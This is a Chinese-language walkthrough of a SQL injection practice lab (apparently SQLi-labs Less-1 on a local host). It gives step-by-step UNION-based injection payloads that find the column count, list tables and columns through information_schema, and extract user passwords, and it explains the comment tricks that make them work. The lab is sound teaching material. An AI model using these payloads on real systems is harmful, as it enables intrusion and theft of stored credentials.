第一课:基于报错的以单引号包裹的字符型注入
1. 根据黄字提示,传入参数ID
http://10.1.2.210:8000/Less-1/?id=1
执行结果如下
2.根据题目提示,注入点基于报错,由单引号包裹,并且是字符型注入,判断源码大概为:
select * from users where id = '$_GET['id']';
3.构造查询找到回显数量及位置
?id=1' order by 1 --+
?id=1' order by 2 --+
?id=1' order by 3 --+
?id=1' order by 4 --+ (此处会报错,因此回显数量只有3个)
?id=1' union select 1,2,3 --+(用此查询找到回显位置)
4.结果没有变化,猜测原因是开发者使用 LIMIT 0,1 对回显的行数进行了限制,因此将构造的查询改为:
?id=-1' union select 1,2,3 --+
这样做使得前面的查询没有结果,从而显示后面的查询结果。
5.回显位置找到:
tips:
此时执行的SQL大概为
select * from users where id ='1' union select 1,2,3 --+'
此处使用 --+(空格减减加)注释掉最后面的单引号从而避免报错使构造语句能够成功运行,此外还有#号 注释法。
①在url中,#号用来指导浏览器动作(例如锚点)所以被浏览器转义,故将#号改成url的编码%23即可起到一样的注释作用
②--是SQL语法中的单行注释符,-- ' 会把最后面的单引号注释掉,注意这里--和 ' 中间有一个空格分隔,如果没有空格分隔则--'不属于有效的SQL语句,因--后面的空格会被浏览器过滤掉,所以使用+号代替空格(写为 --+),当然也可以使用url编码的空格即%20代替空格进行注释(写为 --%20)
6.有了上面的基础,我们可以进一步构造查询获取数据库的更多信息(此处注意要将所有回显位置填满否则会报错)
爆破表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆破字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆破数据
?id=-1' union select id,user,password from users where id='3' --+
至此,第一课的实验结束。